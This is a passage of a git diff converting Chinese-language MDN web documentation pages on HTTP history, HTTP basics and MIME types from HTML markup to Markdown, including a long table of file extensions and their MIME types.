    +HTTP 最大的变化发生在 1994 年底。HTTP 在基本的 TCP/IP 协议栈上发送信息,网景公司(Netscape Communication)在此基础上创建了一个额外的加密传输层:SSL 。SSL 1.0 没有在公司以外发布过,但 SSL 2.0 及其后继者 SSL 3.0 和 SSL 3.1 允许通过加密来保证服务器和客户端之间交换消息的真实性,来创建电子商务网站。SSL 在标准化道路上最终成为 TLS,随着版本 1.0, 1.1, 1.2 的出现成功地关闭漏洞。TLS 1.3 目前正在形成。 -

    与此同时,人们对一个加密传输层的需求也愈发高涨:因为 Web 最早几乎是一个学术网络,相对信任度很高,但如今不得不面对一个险恶的丛林:广告客户、随机的个人或者犯罪分子争相劫取个人信息,将信息占为己有,甚至改动将要被传输的数据。随着通过 HTTP 构建的应用程序变得越来越强大,可以访问越来越多的私人信息,如地址簿,电子邮件或用户的地理位置,即使在电子商务使用之外,对 TLS 的需求也变得普遍。

    +与此同时,人们对一个加密传输层的需求也愈发高涨:因为 Web 最早几乎是一个学术网络,相对信任度很高,但如今不得不面对一个险恶的丛林:广告客户、随机的个人或者犯罪分子争相劫取个人信息,将信息占为己有,甚至改动将要被传输的数据。随着通过 HTTP 构建的应用程序变得越来越强大,可以访问越来越多的私人信息,如地址簿,电子邮件或用户的地理位置,即使在电子商务使用之外,对 TLS 的需求也变得普遍。 -

    HTTP 用于复杂应用

    +### HTTP 用于复杂应用 -

    Tim Berners-Lee 对于 Web 的最初设想不是一个只读媒体。 他设想一个 Web 是可以远程添加或移动文档,是一种分布式文件系统。 大约 1996 年,HTTP 被扩展到允许创作,并且创建了一个名为 WebDAV 的标准。 它进一步扩展了某些特定的应用程序,如 CardDAV 用来处理地址簿条目,CalDAV 用来处理日历。 但所有这些 *DAV 扩展有一个缺陷:它们必须由要使用的服务器来实现,这是非常复杂的。并且他们在网络领域的使用必须保密。

    +Tim Berners-Lee 对于 Web 的最初设想不是一个只读媒体。 他设想一个 Web 是可以远程添加或移动文档,是一种分布式文件系统。 大约 1996 年,HTTP 被扩展到允许创作,并且创建了一个名为 WebDAV 的标准。 它进一步扩展了某些特定的应用程序,如 CardDAV 用来处理地址簿条目,CalDAV 用来处理日历。 但所有这些 \*DAV 扩展有一个缺陷:它们必须由要使用的服务器来实现,这是非常复杂的。并且他们在网络领域的使用必须保密。 -

    在 2000 年,一种新的使用 HTTP 的模式被设计出来:{{glossary("REST", "representational state transfer")}} (或者说 REST)。 由 API 发起的操作不再通过新的 HTTP 方法传达,而只能通过使用基本的 HTTP / 1.1 方法访问特定的 URI。 这允许任何 Web 应用程序通过提供 API 以允许查看和修改其数据,而无需更新浏览器或服务器:所有需要的内容都被嵌入到由网站通过标准 HTTP/1.1 提供的文件中。 REST 模型的缺点在于每个网站都定义了自己的非标准 RESTful API,并对其进行了全面的控制;不同于 *DAV 扩展,客户端和服务器是可互操作的。 RESTful API 在 2010 年变得非常流行。

    +在 2000 年,一种新的使用 HTTP 的模式被设计出来:{{glossary("REST", "representational state transfer")}} (或者说 REST)。 由 API 发起的操作不再通过新的 HTTP 方法传达,而只能通过使用基本的 HTTP / 1.1 方法访问特定的 URI。 这允许任何 Web 应用程序通过提供 API 以允许查看和修改其数据,而无需更新浏览器或服务器:所有需要的内容都被嵌入到由网站通过标准 HTTP/1.1 提供的文件中。 REST 模型的缺点在于每个网站都定义了自己的非标准 RESTful API,并对其进行了全面的控制;不同于 \*DAV 扩展,客户端和服务器是可互操作的。 RESTful API 在 2010 年变得非常流行。 -

    自 2005 年以来,可用于 Web 页面的 API 大大增加,其中几个 API 为特定目的扩展了 HTTP 协议,大部分是新的特定 HTTP 头:

    +自 2005 年以来,可用于 Web 页面的 API 大大增加,其中几个 API 为特定目的扩展了 HTTP 协议,大部分是新的特定 HTTP 头: -
      -
    • Server-sent events,服务器可以偶尔推送消息到浏览器。
    • -
    • WebSocket,一个新协议,可以通过升级现有 HTTP 协议来建立。
    • -
    +- [Server-sent events](/zh-CN/docs/Web/API/Server-sent_events),服务器可以偶尔推送消息到浏览器。 +- [WebSocket](/zh-CN/docs/Web/API/WebSockets_API),一个新协议,可以通过升级现有 HTTP 协议来建立。 -

    放松安全措施 - 基于当前的 Web 模型

    +### 放松安全措施 - 基于当前的 Web 模型 -

    HTTP 和 Web 安全模型--同源策略是互不相关的。事实上,当前的 Web 安全模型是在 HTTP 被创造出来后才被发展的!这些年来,已经证实了它如果能通过在特定的约束下移除一些这个策略的限制来管的宽松些的话,将会更有用。这些策略导致大量的成本和时间被花费在通过转交到服务端来添加一些新的 HTTP 头来发送。这些被定义在了Cross-Origin Resource Sharing (CORS) or the Content Security Policy (CSP) 规范里。

    +HTTP 和 Web 安全模型--[同源策略](/zh-CN/docs/Web/Security/Same-origin_policy)是互不相关的。事实上,当前的 Web 安全模型是在 HTTP 被创造出来后才被发展的!这些年来,已经证实了它如果能通过在特定的约束下移除一些这个策略的限制来管的宽松些的话,将会更有用。这些策略导致大量的成本和时间被花费在通过转交到服务端来添加一些新的 HTTP 头来发送。这些被定义在了[Cross-Origin Resource Sharing](/zh-CN/docs/Glossary/CORS) (CORS) or the [Content Security Policy](/zh-CN/docs/Web/HTTP/CSP) (CSP) 规范里。 -

    不只是这大量的扩展,很多的其他的头也被加了进来,有些只是实验性的。比较著名的有 Do Not Track ({{HTTPHeader("DNT")}}) 来控制隐私,{{HTTPHeader("X-Frame-Options")}}, 还有很多。

    +不只是这大量的扩展,很多的其他的头也被加了进来,有些只是实验性的。比较著名的有 Do Not Track ({{HTTPHeader("DNT")}}) 来控制隐私,{{HTTPHeader("X-Frame-Options")}}, 还有很多。 -

    HTTP/2 - 为了更优异的表现

    +## HTTP/2 - 为了更优异的表现 -

    这些年来,网页愈渐变得的复杂,甚至演变成了独有的应用,可见媒体的播放量,增进交互的脚本大小也增加了许多:更多的数据通过 HTTP 请求被传输。HTTP/1.1 链接需要请求以正确的顺序发送,理论上可以用一些并行的链接(尤其是 5 到 8 个),带来的成本和复杂性堪忧。比如,HTTP 管线化(pipelining)就成为了 Web 开发的负担。

    +这些年来,网页愈渐变得的复杂,甚至演变成了独有的应用,可见媒体的播放量,增进交互的脚本大小也增加了许多:更多的数据通过 HTTP 请求被传输。HTTP/1.1 链接需要请求以正确的顺序发送,理论上可以用一些并行的链接(尤其是 5 到 8 个),带来的成本和复杂性堪忧。比如,HTTP 管线化(pipelining)就成为了 Web 开发的负担。 -

    在 2010 年到 2015 年,谷歌通过实践了一个实验性的 SPDY 协议,证明了一个在客户端和服务器端交换数据的另类方式。其收集了浏览器和服务器端的开发者的焦点问题。明确了响应数量的增加和解决复杂的数据传输,SPDY 成为了 HTTP/2 协议的基础。

    +在 2010 年到 2015 年,谷歌通过实践了一个实验性的 SPDY 协议,证明了一个在客户端和服务器端交换数据的另类方式。其收集了浏览器和服务器端的开发者的焦点问题。明确了响应数量的增加和解决复杂的数据传输,SPDY 成为了 HTTP/2 协议的基础。 -

    HTTP/2 在 HTTP/1.1 有几处基本的不同:

    +HTTP/2 在 HTTP/1.1 有几处基本的不同: -
      -
    • HTTP/2 是二进制协议而不是文本协议。不再可读,也不可无障碍的手动创建,改善的优化技术现在可被实施。
    • -
    • 这是一个复用协议。并行的请求能在同一个链接中处理,移除了 HTTP/1.x 中顺序和阻塞的约束。
    • -
    • 压缩了 headers。因为 headers 在一系列请求中常常是相似的,其移除了重复和传输重复数据的成本。
    • -
    • 其允许服务器在客户端缓存中填充数据,通过一个叫服务器推送的机制来提前请求。
    • -
    +- HTTP/2 是二进制协议而不是文本协议。不再可读,也不可无障碍的手动创建,改善的优化技术现在可被实施。 +- 这是一个复用协议。并行的请求能在同一个链接中处理,移除了 HTTP/1.x 中顺序和阻塞的约束。 +- 压缩了 headers。因为 headers 在一系列请求中常常是相似的,其移除了重复和传输重复数据的成本。 +- 其允许服务器在客户端缓存中填充数据,通过一个叫服务器推送的机制来提前请求。 -

    在 2015 年 5 月正式标准化后,HTTP/2 取得了极大的成功,在 2016 年 7 月前,8.7% 的站点已经在使用它,代表超过 68% 的请求[2] 。高流量的站点最迅速的普及,在数据传输上节省了可观的成本和支出。

    +在 2015 年 5 月正式标准化后,HTTP/2 取得了极大的成功,在 2016 年 7 月前,8.7% 的站点已经在使用它,代表超过 68% 的请求[\[2\]](https://www.keycdn.com/blog/http2-statistics/) 。高流量的站点最迅速的普及,在数据传输上节省了可观的成本和支出。 -

    这种迅速的普及率很可能是因为 HTTP2 不需要站点和应用做出改变:使用 HTTP/1.1 和 HTTP/2 对他们来说是透明的。拥有一个最新的服务器和新点的浏览器进行交互就足够了。只有一小部分群体需要做出改变,而且随着陈旧的浏览器和服务器的更新,而不需 Web 开发者做什么,用的人自然就增加了。

    +这种迅速的普及率很可能是因为 HTTP2 不需要站点和应用做出改变:使用 HTTP/1.1 和 HTTP/2 对他们来说是透明的。拥有一个最新的服务器和新点的浏览器进行交互就足够了。只有一小部分群体需要做出改变,而且随着陈旧的浏览器和服务器的更新,而不需 Web 开发者做什么,用的人自然就增加了。 -

    后 HTTP/2 进化

    +## 后 HTTP/2 进化 -

    随着 HTTP/2.的发布,就像先前的 HTTP/1.x 一样,HTTP 没有停止进化,HTTP 的扩展性依然被用来添加新的功能。特别的,我们能列举出 2016 年里 HTTP 的新扩展:

    +随着 HTTP/2.的发布,就像先前的 HTTP/1.x 一样,HTTP 没有停止进化,HTTP 的扩展性依然被用来添加新的功能。特别的,我们能列举出 2016 年里 HTTP 的新扩展: -
      -
    • 对 Alt-Svc 的支持允许了给定资源的位置和资源鉴定,允许了更智能的 CDN 缓冲机制。
    • -
    • {{HTTPHeader("Client-Hints")}} 的引入允许浏览器或者客户端来主动交流它的需求,或者是硬件约束的信息给服务端。
    • -
    • 在 Cookie 头中引入安全相关的的前缀,现在帮助保证一个安全的 cookie 没被更改过。
    • -
    +- 对 Alt-Svc 的支持允许了给定资源的位置和资源鉴定,允许了更智能的 CDN 缓冲机制。 +- {{HTTPHeader("Client-Hints")}} 的引入允许浏览器或者客户端来主动交流它的需求,或者是硬件约束的信息给服务端。 +- 在 Cookie 头中引入安全相关的的前缀,现在帮助保证一个安全的 cookie 没被更改过。 -

    HTTP 的进化证实了它良好的扩展性和简易性,释放了很多应用程序的创造力并且情愿使用这个协议。今天的 HTTP 的使用环境已经于早期 1990 年代大不相同。HTTP 的原先的设计不负杰作之名,允许了 Web 在 25 年间和平稳健得发展。修复漏洞,同时却也保留了使 HTTP 如此成功的灵活性和扩展性,HTTP/2 的普及也预示着这个协议的大好前程。

    +HTTP 的进化证实了它良好的扩展性和简易性,释放了很多应用程序的创造力并且情愿使用这个协议。今天的 HTTP 的使用环境已经于早期 1990 年代大不相同。HTTP 的原先的设计不负杰作之名,允许了 Web 在 25 年间和平稳健得发展。修复漏洞,同时却也保留了使 HTTP 如此成功的灵活性和扩展性,HTTP/2 的普及也预示着这个协议的大好前程。 diff --git a/files/zh-cn/web/http/basics_of_http/index.md b/files/zh-cn/web/http/basics_of_http/index.md index 1459bc3ca311a5..83986a9cf1f24f 100644 --- a/files/zh-cn/web/http/basics_of_http/index.md +++ b/files/zh-cn/web/http/basics_of_http/index.md @@ -7,43 +7,39 @@ tags: - 概览 translation_of: Web/HTTP/Basics_of_HTTP --- -

    HTTP 是一个拓展性非常好的协议。它依赖于以下的一些基本概念: 像资源或是 URI 的概念 , 一个简单的消息结构,一个客户端 - 服务器结构的通信流。 在这些基础概念之上, 近年来已经出现了许多拓展,以增加新的 HTTP 方法或首部的方式为 HTTP 协议增加了新的功能和语义。

    +HTTP 是一个拓展性非常好的协议。它依赖于以下的一些基本概念: 像资源或是 URI 的概念 , 一个简单的消息结构,一个客户端 - 服务器结构的通信流。 在这些基础概念之上, 近年来已经出现了许多拓展,以增加新的 HTTP 方法或首部的方式为 HTTP 协议增加了新的功能和语义。 -

    文章

    +## 文章 -
    -
    HTTP 概览
    -
    描述了什么是 HTTP,它在 Web 架构中的角色,以及它在协议栈中的位置。
    -
    HTTP 演变
    -
    HTTP 是在 20 世纪 90 年代早期出现的,并且已经被扩充了多次。本文会回顾 HTTP 的发展史,描述 HTTP/0.9、HTTP/1.0、HTTP/1.1 和最新的 HTTP/2, 以及这些年来出现的一些新特性。
    -
    商定 HTTP 版本
    -
    解释了客户端和服务器之间是如何商定并最终升级其使用的 HTTP 版本的。
    -
    资源和 URI
    -
    简单介绍了资源,标示符和 Web 位置的概念。
    -
    发现 Web 资源
    -
    描述了 Web 资源是怎样被引用和找到的。
    -
    数据 URI
    -
    一种特殊的 URI,它直接包含了资源的内容。数据 URI 使用起来非常方便,但也有一些弊端。
    -
    资源 URLs
    -
    资源 URLs(URLs 是以为resource:scheme前缀的) 是被 Firefox 和 Firefox 浏览器拓展插件用来内在地加载资源, 当然有些资源在浏览器连接的网站上存在的。
    -
    分离资源的标识和位置:the Alt-Svc HTTP header
    -
    -

    大多数情况下 web 资源的标识和位置是共享的,可通过使用{{HTTPHeader("Alt-Svc")}} 头部来改变。

    -
    -
    MIME 类型
    -
    从 HTTP/1.0 开始,HTTP 协议允许传输不同类型的内容。本文解释了如何通过使用{{HTTPHeader("Content-Type")}} 首部和 MIME 标准实现这一过程的。
    -
    在 www 和非 www URI 间选择
    -
    在是否使用 www 前缀的域名这一问题上, 本文解释了不同选择的影响,并给出了具体的实施方法。
    -
    HTTP 会话流程
    -
    本文描述了一个经典的 HTTP 会话: 当你在浏览器中点击一个链接时,在后台发生了什么...
    -
    HTTP 消息
    -
    在请求和响应中传输的 HTTP 消息具有非常清晰的结构; 本文介绍了消息的结构、设计目的以及其可能性。
    -
    HTTP/2 中的帧及消息结构
    -
    HTTP/2 用二进制帧来压缩和表示 HTTP/1.x 中的消息。本文解释了 HTTP/2 中的帧结构, 其设计目的以及编码方式。
    -
    HTTP/1.x 的连接管理
    -
    HTTP/1.1 是首个支持持久化连接和管道化的 HTTP 版本。 本文介绍了这两个概念。
    -
    HTTP/2 的连接管理
    -
    HTTP/2 完全改变了连接创建和维护的方式:本文介绍了 HTTP 帧是怎样支持多路复用并解决之前的 HTTP 版本中存在的队头阻塞问题的。
    -
    内容商定
    -
    HTTP 引入了一组以 Accept- 开头的首部,作为浏览器用来声明它们期望得到的格式,语言或编码的方法。 本文讲述了这一过程是怎样实现的, 以及服务器是怎样处理并选择恰当的响应的。
    -
    +- [HTTP 概览](/zh-CN/docs/Web/HTTP/Overview) + - : 描述了什么是 HTTP,它在 Web 架构中的角色,以及它在协议栈中的位置。 +- [HTTP 演变](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP) + - : HTTP 是在 20 世纪 90 年代早期出现的,并且已经被扩充了多次。本文会回顾 HTTP 的发展史,描述 HTTP/0.9、HTTP/1.0、HTTP/1.1 和最新的 HTTP/2, 以及这些年来出现的一些新特性。 +- **[商定 HTTP 版本]()** + - : 解释了客户端和服务器之间是如何商定并最终升级其使用的 HTTP 版本的。 +- [资源和 URI](/zh-CN/docs/Web/HTTP/Resources_and_URIs) + - : 简单介绍了资源,标示符和 Web 位置的概念。 +- [发现 Web 资源](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) + - : 描述了 Web 资源是怎样被引用和找到的。 +- [数据 URI](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) + - : 一种特殊的 URI,它直接包含了资源的内容。数据 URI 使用起来非常方便,但也有一些弊端。 +- [资源 URLs](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs) + - : 资源 URLs(URLs 是以为`resource:scheme`前缀的) 是被 Firefox 和 Firefox 浏览器拓展插件用来内在地加载资源, 当然有些资源在浏览器连接的网站上存在的。 +- 分离资源的标识和位置:the Alt-Svc HTTP header + - : 大多数情况下 web 资源的标识和位置是共享的,可通过使用`{{HTTPHeader("Alt-Svc")}}` 头部来改变。 +- [MIME 类型](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types) + - : 从 HTTP/1.0 开始,HTTP 协议允许传输不同类型的内容。本文解释了如何通过使用`{{HTTPHeader("Content-Type")}} `首部和 MIME 标准实现这一过程的。 +- [在 www 和非 www URI 间选择](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs) + - : 在是否使用 www 前缀的域名这一问题上, 本文解释了不同选择的影响,并给出了具体的实施方法。 +- **[HTTP 会话流程](/zh-CN/docs/Web/HTTP/Flow_of_an_HTTP_session)** + - : 本文描述了一个经典的 HTTP 会话: 当你在浏览器中点击一个链接时,在后台发生了什么... +- [HTTP 消息](/zh-CN/docs/Web/HTTP/Messages) + - : 在请求和响应中传输的 HTTP 消息具有非常清晰的结构; 本文介绍了消息的结构、设计目的以及其可能性。 +- **[HTTP/2 中的帧及消息结构](/zh-CN/docs/Web/HTTP/Frame%20and%20message%20structure%20in%20HTTP_2)** + - : HTTP/2 用二进制帧来压缩和表示 HTTP/1.x 中的消息。本文解释了 HTTP/2 中的帧结构, 其设计目的以及编码方式。 +- [HTTP/1.x 的连接管理](/zh-CN/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : HTTP/1.1 是首个支持持久化连接和管道化的 HTTP 版本。 本文介绍了这两个概念。 +- **[HTTP/2 的连接管理](/zh-CN/docs/Web/HTTP/Connection_management_in_HTTP_2)** + - : HTTP/2 完全改变了连接创建和维护的方式:本文介绍了 HTTP 帧是怎样支持多路复用并解决之前的 HTTP 版本中存在的队头阻塞问题的。 +- [内容商定](/zh-CN/docs/Web/HTTP/Content_negotiation) + - : HTTP 引入了一组以 `Accept-` 开头的首部,作为浏览器用来声明它们期望得到的格式,语言或编码的方法。 本文讲述了这一过程是怎样实现的, 以及服务器是怎样处理并选择恰当的响应的。 diff --git a/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.md b/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.md index f5ec537a69ebfe..b38f8a676ddb14 100644 --- a/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.md +++ b/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.md @@ -13,364 +13,82 @@ tags: - 文件类型 translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    这是一份 MIME 类型列表,以及各个类型的文档类别,按照它们的常见扩展名排序。

    +这是一份 MIME 类型列表,以及各个类型的文档类别,按照它们的常见扩展名排序。 -

    两种主要的 MIME 类型在默认类型中扮演了重要的角色:

    +两种主要的 MIME 类型在默认类型中扮演了重要的角色: -
      -
    • text/plain 表示文本文件的默认值。一个文本文件应当是人类可读的,并且不包含二进制数据。
    • -
    • application/octet-stream 表示所有其他情况的默认值。一种未知的文件类型应当使用此类型。浏览器在处理这些文件时会特别小心,试图防止、避免用户的危险行为。
    • -
    +- `text/plain` 表示文本文件的默认值。一个文本文件应当是人类可读的,并且不包含二进制数据。 +- `application/octet-stream` 表示所有其他情况的默认值。一种未知的文件类型应当使用此类型。浏览器在处理这些文件时会特别小心,试图防止、避免用户的危险行为。 -

    IANA 是 MIME 媒体类型的官方注册机构,并维护了 list of all the official MIME types。下面的表格列出了 Web 上的一些重要 MIME 类型:

    +IANA 是 MIME 媒体类型的官方注册机构,并维护了 [list of all the official MIME types](http://www.iana.org/assignments/media-types/media-types.xhtml)。下面的表格列出了 Web 上的一些重要 MIME 类型: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    扩展名文档类型MIME 类型
    .aacAAC audioaudio/aac
    .abwAbiWord documentapplication/x-abiword
    .arcArchive document (multiple files embedded)application/x-freearc
    .aviAVI: Audio Video Interleavevideo/x-msvideo
    .azwAmazon Kindle eBook formatapplication/vnd.amazon.ebook
    .binAny kind of binary dataapplication/octet-stream
    .bmpWindows OS/2 Bitmap Graphicsimage/bmp
    .bzBZip archiveapplication/x-bzip
    .bz2BZip2 archiveapplication/x-bzip2
    .cshC-Shell scriptapplication/x-csh
    .cssCascading Style Sheets (CSS)text/css
    .csvComma-separated values (CSV)text/csv
    .docMicrosoft Wordapplication/msword
    .docxMicrosoft Word (OpenXML)application/vnd.openxmlformats-officedocument.wordprocessingml.document
    .eotMS Embedded OpenType fontsapplication/vnd.ms-fontobject
    .epubElectronic publication (EPUB)application/epub+zip
    .gifGraphics Interchange Format (GIF)image/gif
    .htm
    - .html
    HyperText Markup Language (HTML)text/html
    .icoIcon formatimage/vnd.microsoft.icon
    .icsiCalendar formattext/calendar
    .jarJava Archive (JAR)application/java-archive
    .jpeg
    - .jpg
    JPEG imagesimage/jpeg
    .jsJavaScripttext/javascript
    .jsonJSON formatapplication/json
    .jsonldJSON-LD formatapplication/ld+json
    .mid
    - .midi
    Musical Instrument Digital Interface (MIDI)audio/midi audio/x-midi
    .mjsJavaScript moduletext/javascript
    .mp3MP3 audioaudio/mpeg
    .mpegMPEG Videovideo/mpeg
    .mpkgApple Installer Packageapplication/vnd.apple.installer+xml
    .odpOpenDocument presentation documentapplication/vnd.oasis.opendocument.presentation
    .odsOpenDocument spreadsheet documentapplication/vnd.oasis.opendocument.spreadsheet
    .odtOpenDocument text documentapplication/vnd.oasis.opendocument.text
    .ogaOGG audioaudio/ogg
    .ogvOGG videovideo/ogg
    .ogxOGGapplication/ogg
    .otfOpenType fontfont/otf
    .pngPortable Network Graphicsimage/png
    .pdfAdobe Portable Document Format (PDF)application/pdf
    .pptMicrosoft PowerPointapplication/vnd.ms-powerpoint
    .pptxMicrosoft PowerPoint (OpenXML)application/vnd.openxmlformats-officedocument.presentationml.presentation
    .rarRAR archiveapplication/x-rar-compressed
    .rtfRich Text Format (RTF)application/rtf
    .shBourne shell scriptapplication/x-sh
    .svgScalable Vector Graphics (SVG)image/svg+xml
    .swfSmall web format (SWF) or Adobe Flash documentapplication/x-shockwave-flash
    .tarTape Archive (TAR)application/x-tar
    .tif
    - .tiff
    Tagged Image File Format (TIFF)image/tiff
    .ttfTrueType Fontfont/ttf
    .txtText, (generally ASCII or ISO 8859-n)text/plain
    .vsdMicrosoft Visioapplication/vnd.visio
    .wavWaveform Audio Formataudio/wav
    .webaWEBM audioaudio/webm
    .webmWEBM videovideo/webm
    .webpWEBP imageimage/webp
    .woffWeb Open Font Format (WOFF)font/woff
    .woff2Web Open Font Format (WOFF)font/woff2
    .xhtmlXHTMLapplication/xhtml+xml
    .xlsMicrosoft Excelapplication/vnd.ms-excel
    .xlsxMicrosoft Excel (OpenXML)application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
    .xmlXMLapplication/xml 代码对普通用户来说不可读 (RFC 3023, section 3)
    - text/xml 代码对普通用户来说可读 (RFC 3023, section 3)
    .xulXULapplication/vnd.mozilla.xul+xml
    .zipZIP archiveapplication/zip
    .3gp3GPP audio/video containervideo/3gpp
    - audio/3gpp(若不含视频)
    .3g23GPP2 audio/video containervideo/3gpp2
    - audio/3gpp2(若不含视频)
    .7z7-zip archiveapplication/x-7z-compressed
    +| 扩展名 | 文档类型 | MIME 类型 | +| -------------- | ------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `.aac` | AAC audio | `audio/aac` | +| `.abw` | [AbiWord](https://en.wikipedia.org/wiki/AbiWord) document | `application/x-abiword` | +| `.arc` | Archive document (multiple files embedded) | `application/x-freearc` | +| `.avi` | AVI: Audio Video Interleave | `video/x-msvideo` | +| `.azw` | Amazon Kindle eBook format | `application/vnd.amazon.ebook` | +| `.bin` | Any kind of binary data | `application/octet-stream` | +| `.bmp` | Windows OS/2 Bitmap Graphics | `image/bmp` | +| `.bz` | BZip archive | `application/x-bzip` | +| `.bz2` | BZip2 archive | `application/x-bzip2` | +| `.csh` | C-Shell script | `application/x-csh` | +| `.css` | Cascading Style Sheets (CSS) | `text/css` | +| `.csv` | Comma-separated values (CSV) | `text/csv` | +| `.doc` | Microsoft Word | `application/msword` | +| `.docx` | Microsoft Word (OpenXML) | `application/vnd.openxmlformats-officedocument.wordprocessingml.document` | +| `.eot` | MS Embedded OpenType fonts | `application/vnd.ms-fontobject` | +| `.epub` | Electronic publication (EPUB) | `application/epub+zip` | +| `.gif` | Graphics Interchange Format (GIF) | `image/gif` | +| `.htm .html` | HyperText Markup Language (HTML) | `text/html` | +| `.ico` | Icon format | `image/vnd.microsoft.icon` | +| `.ics` | iCalendar format | `text/calendar` | +| `.jar` | Java Archive (JAR) | `application/java-archive` | +| `.jpeg` `.jpg` | JPEG images | `image/jpeg` | +| `.js` | JavaScript | `text/javascript` | +| `.json` | JSON format | `application/json` | +| `.jsonld` | JSON-LD format | `application/ld+json` | +| `.mid` `.midi` | Musical Instrument Digital Interface (MIDI) | `audio/midi` `audio/x-midi` | +| `.mjs` | JavaScript module | `text/javascript` | +| `.mp3` | MP3 audio | `audio/mpeg` | +| `.mpeg` | MPEG Video | `video/mpeg` | +| `.mpkg` | Apple Installer Package | `application/vnd.apple.installer+xml` | +| `.odp` | OpenDocument presentation document | `application/vnd.oasis.opendocument.presentation` | +| `.ods` | OpenDocument spreadsheet document | `application/vnd.oasis.opendocument.spreadsheet` | +| `.odt` | OpenDocument text document | `application/vnd.oasis.opendocument.text` | +| `.oga` | OGG audio | `audio/ogg` | +| `.ogv` | OGG video | `video/ogg` | +| `.ogx` | OGG | `application/ogg` | +| `.otf` | OpenType font | `font/otf` | +| `.png` | Portable Network Graphics | `image/png` | +| `.pdf` | Adobe [Portable Document Format](https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html) (PDF) | `application/pdf` | +| `.ppt` | Microsoft PowerPoint | `application/vnd.ms-powerpoint` | +| `.pptx` | Microsoft PowerPoint (OpenXML) | `application/vnd.openxmlformats-officedocument.presentationml.presentation` | +| `.rar` | RAR archive | `application/x-rar-compressed` | +| `.rtf` | Rich Text Format (RTF) | `application/rtf` | +| `.sh` | Bourne shell script | `application/x-sh` | +| `.svg` | Scalable Vector Graphics (SVG) | `image/svg+xml` | +| `.swf` | [Small web format](https://en.wikipedia.org/wiki/SWF) (SWF) or Adobe Flash document | `application/x-shockwave-flash` | +| `.tar` | Tape Archive (TAR) | `application/x-tar` | +| `.tif .tiff` | Tagged Image File Format (TIFF) | `image/tiff` | +| `.ttf` | TrueType Font | `font/ttf` | +| `.txt` | Text, (generally ASCII or ISO 8859-_n_) | `text/plain` | +| `.vsd` | Microsoft Visio | `application/vnd.visio` | +| `.wav` | Waveform Audio Format | `audio/wav` | +| `.weba` | WEBM audio | `audio/webm` | +| `.webm` | WEBM video | `video/webm` | +| `.webp` | WEBP image | `image/webp` | +| `.woff` | Web Open Font Format (WOFF) | `font/woff` | +| `.woff2` | Web Open Font Format (WOFF) | `font/woff2` | +| `.xhtml` | XHTML | `application/xhtml+xml` | +| `.xls` | Microsoft Excel | `application/vnd.ms-excel` | +| `.xlsx` | Microsoft Excel (OpenXML) | `application/vnd.openxmlformats-officedocument.spreadsheetml.sheet` | +| `.xml` | `XML` | `application/xml` 代码对普通用户来说不可读 ([RFC 3023](https://tools.ietf.org/html/rfc3023#section-3), section 3) `text/xml` 代码对普通用户来说可读 ([RFC 3023](https://tools.ietf.org/html/rfc3023#section-3), section 3) | +| `.xul` | XUL | `application/vnd.mozilla.xul+xml` | +| `.zip` | ZIP archive | `application/zip` | +| `.3gp` | [3GPP](https://en.wikipedia.org/wiki/3GP_and_3G2) audio/video container | `video/3gpp` `audio/3gpp`(若不含视频) | +| `.3g2` | [3GPP2](https://en.wikipedia.org/wiki/3GP_and_3G2) audio/video container | `video/3gpp2` `audio/3gpp2`(若不含视频) | +| `.7z` | [7-zip](https://en.wikipedia.org/wiki/7-Zip) archive | `application/x-7z-compressed` | diff --git a/files/zh-cn/web/http/basics_of_http/mime_types/index.md b/files/zh-cn/web/http/basics_of_http/mime_types/index.md index af491cac6c2968..8a83f9ed7890d9 100644 --- a/files/zh-cn/web/http/basics_of_http/mime_types/index.md +++ b/files/zh-cn/web/http/basics_of_http/mime_types/index.md @@ -9,29 +9,30 @@ tags: - Meta translation_of: Web/HTTP/Basics_of_HTTP/MIME_types --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    媒体类型(通常称为 Multipurpose Internet Mail Extensions MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。它在IETF RFC 6838中进行了定义和标准化。

    +**媒体类型**(通常称为 **Multipurpose Internet Mail Extensions** 或 **MIME** 类型)是一种标准,用来表示文档、文件或字节流的性质和格式。它在[IETF RFC 6838](https://tools.ietf.org/html/rfc6838)中进行了定义和标准化。 -

    互联网号码分配机构(IANA)是负责跟踪所有官方 MIME 类型的官方机构,您可以在媒体类型页面中找到最新的完整列表。

    +互联网号码分配机构([IANA](https://www.iana.org/))是负责跟踪所有官方 MIME 类型的官方机构,您可以在[媒体类型](https://www.iana.org/assignments/media-types/media-types.xhtml)页面中找到最新的完整列表。 -
    -

    重要:浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理 URL,因此 Web 服务器在响应头中添加正确的 MIME 类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。

    -
